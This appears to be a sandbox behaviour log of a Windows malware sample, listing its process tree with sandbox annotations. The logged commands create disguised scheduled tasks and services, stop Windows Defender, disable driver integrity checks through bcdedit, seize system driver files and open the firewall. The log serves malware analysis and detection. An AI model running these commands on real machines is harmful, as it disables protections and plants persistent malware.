      schtasks /create /f /tn "svchost_OnLock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3500
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "svchost_OnUnlock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:4372
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "svchost_OnUnlock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5776
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "svchost_OnIdle" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:5820
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "svchost_OnIdle" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5668
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "svchost_Evt4624" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:5432
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "svchost_Evt4624" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3660
- - C:\Windows\SYSTEM32\sc.exe
    "sc" start TrustedInstaller
    3⤵
    - Launches sc.exe
    PID:4088
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" E: /D
    3⤵
    - Enumerates connected drives
    PID:3596
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" F: /S
    3⤵
    PID:4508
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "Consolidator_d85548f6" /F
    3⤵
    PID:580
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "Consolidator_d85548f6" /XML "C:\Users\Admin\AppData\Local\Temp\52f025b7-37df-449b-be1f-b4f450e72cca.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:828
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" F: /D
    3⤵
    - Enumerates connected drives
    PID:4608
- - C:\Windows\SYSTEM32\net.exe
    "net" stop WinDefend
    3⤵
    PID:5372
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:3440
- - C:\Windows\SYSTEM32\net.exe
    "net" start WinDefend
    3⤵
    PID:4884
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 start WinDefend
      4⤵
      PID:6092
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" G: /S
    3⤵
    PID:4528
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" G: /D
    3⤵
    - Enumerates connected drives
    PID:2564
- - C:\Windows\SYSTEM32\bcdedit.exe
    "bcdedit" /set testsigning on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4580
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" H: /S
    3⤵
    PID:4508
- - C:\Windows\SYSTEM32\bcdedit.exe
    "bcdedit" /set nointegritychecks on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4264
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "CCleanerSkipUAC_773b6a12" /F
    3⤵
    PID:1140
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "CCleanerSkipUAC_773b6a12" /XML "C:\Users\Admin\AppData\Local\Temp\5013aece-3677-4c10-b8a0-1344c72e9586.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3404
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" H: /D
    3⤵
    - Enumerates connected drives
    PID:2596
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2136
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" I: /S
    3⤵
    PID:5800
- - C:\Windows\SYSTEM32\takeown.exe
    "takeown" /f "C:\Windows\system32\drivers\null.sys" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:960
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4528
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" I: /D
    3⤵
    - Enumerates connected drives
    PID:1148
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" J: /S
    3⤵
    PID:728
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "CCleanerSkipUAC_64ace17a" /F
    3⤵
    PID:3120
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "CCleanerSkipUAC_64ace17a" /XML "C:\Users\Admin\AppData\Local\Temp\c7928cc4-99d8-4f73-8233-b85771996fdf.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4876
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" J: /D
    3⤵
    - Enumerates connected drives
    PID:1948
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" K: /S
    3⤵
    PID:6056
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2352
- - C:\Windows\SYSTEM32\takeown.exe
    "takeown" /f "C:\Windows\system32\drivers\beep.sys" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1868
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3392
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" K: /D
    3⤵
    - Enumerates connected drives
    PID:3500
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" L: /S
    3⤵
    PID:5500
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "SystemSoundsService_54d8f124" /F
    3⤵
    PID:4608
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "SystemSoundsService_54d8f124" /XML "C:\Users\Admin\AppData\Local\Temp\53e88b80-7a2f-4da3-954a-6677eb4b701d.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4044
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" L: /D
    3⤵
    PID:5088
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" M: /S
    3⤵
    PID:2596
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5536
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" M: /D
    3⤵
    PID:8
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" N: /S
    3⤵
    PID:3480
- - C:\Windows\SYSTEM32\takeown.exe
    "takeown" /f "C:\Windows\system32\drivers\rasl2tp.sys" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5108
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4580
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" N: /D
    3⤵
    - Enumerates connected drives
    PID:2240
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_5b667d63" /F
    3⤵
    PID:1880
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" O: /S
    3⤵
    PID:6116
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_5b667d63" /XML "C:\Users\Admin\AppData\Local\Temp\41656cf0-4f70-4ede-beba-30c34ddd9648.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:248
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" O: /D
    3⤵
    - Enumerates connected drives
    PID:3084
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" P: /S
    3⤵
    PID:5888
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" P: /D
    3⤵
    PID:6080
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5632
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Q: /S
    3⤵
    PID:5440
- - C:\Windows\SYSTEM32\takeown.exe
    "takeown" /f "C:\Windows\system32\drivers\raspppoe.sys" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2556
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:8
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Q: /D
    3⤵
    - Enumerates connected drives
    PID:1260
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" R: /S
    3⤵
    PID:3088
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" R: /D
    3⤵
    - Enumerates connected drives
    PID:4948
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" S: /S
    3⤵
    PID:2664
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_7b7bc20b" /F
    3⤵
    PID:5436
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" S: /D
    3⤵
    PID:3524
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_7b7bc20b" /XML "C:\Users\Admin\AppData\Local\Temp\0d195cc7-b5bc-4b4e-bc02-9880e7da0392.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3532
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" T: /S
    3⤵
    PID:3208
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" T: /D
    3⤵
    PID:5596
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" U: /S
    3⤵
    PID:4240
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5392
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" U: /D
    3⤵
    - Enumerates connected drives
    PID:5536
- - C:\Windows\SYSTEM32\takeown.exe
    "takeown" /f "C:\Windows\system32\drivers\raspptp.sys" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1576
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" V: /S
    3⤵
    PID:4120
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1588
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" V: /D
    3⤵
    PID:5308
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" W: /S
    3⤵
    PID:804
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:200
- - C:\Windows\SYSTEM32\takeown.exe
    "takeown" /f "C:\Windows\system32\drivers\modem.sys" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2760
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" W: /D
    3⤵
    - Enumerates connected drives
    PID:5244
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1828
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" X: /S
    3⤵
    PID:1744
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" X: /D
    3⤵
    - Enumerates connected drives
    PID:2652
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Y: /S
    3⤵
    PID:5092
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3300
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\parport.sys.bak" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5152
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2592
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Y: /D
    3⤵
    - Enumerates connected drives
    PID:3356
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5536
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" E: /S
    3⤵
    PID:3812
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\serenum.sys.bak" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1276
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3180
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\serial.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4464
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\serial.sys.bak" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5196
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6064
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" E: /D
    3⤵
    - Enumerates connected drives
    PID:4588
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" F: /S
    3⤵
    PID:3860
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2760
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\usbprint.sys.bak" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6008
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2972
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" F: /D
    3⤵
    - Enumerates connected drives
    PID:3480
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" G: /S
    3⤵
    PID:1224
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" G: /D
    3⤵
    - Enumerates connected drives
    PID:4876
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" H: /S
    3⤵
    PID:5976
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" H: /D
    3⤵
    - Enumerates connected drives
    PID:1336
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" I: /S
    3⤵
    PID:2612
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" I: /D
    3⤵
    - Enumerates connected drives
    PID:5884
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" J: /S
    3⤵
    PID:2032
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" J: /D
    3⤵
    - Enumerates connected drives
    PID:3660
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" K: /S
    3⤵
    PID:4528
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" K: /D
    3⤵
    - Enumerates connected drives
    PID:1476
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" L: /S
    3⤵
    PID:2728
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" L: /D
    3⤵
    - Enumerates connected drives
    PID:3524
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" M: /S
    3⤵
    PID:2912
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" M: /D
    3⤵
    - Enumerates connected drives
    PID:4456
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" N: /S
    3⤵
    PID:5608
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" N: /D
    3⤵
    PID:5836
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" O: /S
    3⤵
    PID:5200
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" O: /D
    3⤵
    PID:6092
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" P: /S
    3⤵
    PID:5904
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" P: /D
    3⤵
    PID:1752
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Q: /S
    3⤵
    PID:4472
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Q: /D
    3⤵
    - Enumerates connected drives
    PID:4724
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" R: /S
    3⤵
    PID:4380
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" R: /D
    3⤵
    - Enumerates connected drives
    PID:2812
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" S: /S
    3⤵
    PID:5964
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" S: /D
    3⤵
    - Enumerates connected drives
    PID:5444
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" T: /S
    3⤵
    PID:2084
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" T: /D
    3⤵
    - Enumerates connected drives
    PID:3844
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" U: /S
    3⤵
    PID:3056
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" U: /D
    3⤵
    - Enumerates connected drives
    PID:3556
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" V: /S
    3⤵
    PID:5288
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" V: /D
    3⤵
    - Enumerates connected drives
    PID:3600
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" W: /S
    3⤵
    PID:2076
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" W: /D
    3⤵
    - Enumerates connected drives
    PID:5276
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" X: /S
    3⤵
    PID:5856
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" X: /D
    3⤵
    - Enumerates connected drives
    PID:4292
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Y: /S
    3⤵
    PID:804
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Y: /D
    3⤵
    - Enumerates connected drives
    PID:3016

C:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
C:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
1⤵
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2064

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\WmiPrvSE.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\WmiPrvSE.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:4620

C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe
C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Executes dropped EXE
- Checks whether UAC is enabled
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:4064
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  PID:2108
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5376
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" E: /S
  2⤵
  PID:1148
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:5988
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:2500
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:836
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_0eef994e" /F
  2⤵
  PID:3536
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" E: /D
  2⤵
  - Enumerates connected drives
  PID:2728
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_0eef994e" /XML "C:\Users\Admin\AppData\Local\Temp\7be2fbfd-00a3-4d5c-8019-d3726df84ebc.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2304
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" F: /S
  2⤵
  PID:5244
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" F: /D
  2⤵
  - Enumerates connected drives
  PID:4608
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" G: /S
  2⤵
  PID:5440
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "SystemSoundsService_787d35a7" /F
  2⤵
  PID:1828
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "SystemSoundsService_787d35a7" /XML "C:\Users\Admin\AppData\Local\Temp\aadcf940-c12f-432b-a081-dd1712b5de74.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3556
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" G: /D
  2⤵
  - Enumerates connected drives
  PID:2596
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" H: /S
  2⤵
  PID:2352
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "StartupAppTask_3cd54b83" /F
  2⤵
  PID:4304
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "StartupAppTask_3cd54b83" /XML "C:\Users\Admin\AppData\Local\Temp\c7d18316-b4d8-452d-ab06-754b5d03e679.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1168
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" H: /D
  2⤵
  PID:2136
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" I: /S
  2⤵
  PID:2324
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "Consolidator_a583ef01" /F
  2⤵
  PID:8
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" I: /D
  2⤵
  PID:2556
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" J: /S
  2⤵
  PID:4672
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "Consolidator_a583ef01" /XML "C:\Users\Admin\AppData\Local\Temp\9af1c790-c1ac-4f5a-b4d2-8edbd1c4caee.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4428
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" J: /D
  2⤵
  PID:5376
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "ProgramDataUpdater_e02939a5" /F
  2⤵
  PID:3596
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" K: /S
  2⤵
  PID:6060
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "ProgramDataUpdater_e02939a5" /XML "C:\Users\Admin\AppData\Local\Temp\f87544cb-f3b3-4329-a232-445bf862e472.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1432
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" K: /D
  2⤵
  - Enumerates connected drives
  PID:1168
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" L: /S
  2⤵
  PID:2916
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "FamilySafetyRefreshTask_405aded7" /F
  2⤵
  PID:2664
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "FamilySafetyRefreshTask_405aded7" /XML "C:\Users\Admin\AppData\Local\Temp\8da6d078-ad84-4175-8650-56cdcd67ad64.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1084
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" L: /D
  2⤵
  - Enumerates connected drives
  PID:5420
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" M: /S
  2⤵
  PID:4692
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" M: /D
  2⤵
  PID:5552
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" N: /S
  2⤵
  PID:4264
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" N: /D
  2⤵
  PID:3660
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" O: /S
  2⤵
  PID:1384
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" O: /D
  2⤵
  - Enumerates connected drives
  PID:2268
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" P: /S
  2⤵
  PID:2656
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" P: /D
  2⤵
  PID:4672
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" Q: /S
  2⤵
  PID:5776
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" Q: /D
  2⤵
  PID:1432
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" R: /S
  2⤵
  PID:3588
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" R: /D
  2⤵
  - Enumerates connected drives
  PID:3532
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" S: /S
  2⤵
  PID:1128
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" S: /D
  2⤵
  PID:2400
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" T: /S
  2⤵
  PID:4304
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" T: /D
  2⤵
  - Enumerates connected drives
  PID:5756
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" U: /S
  2⤵
  PID:4324
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" U: /D
  2⤵
  PID:2608
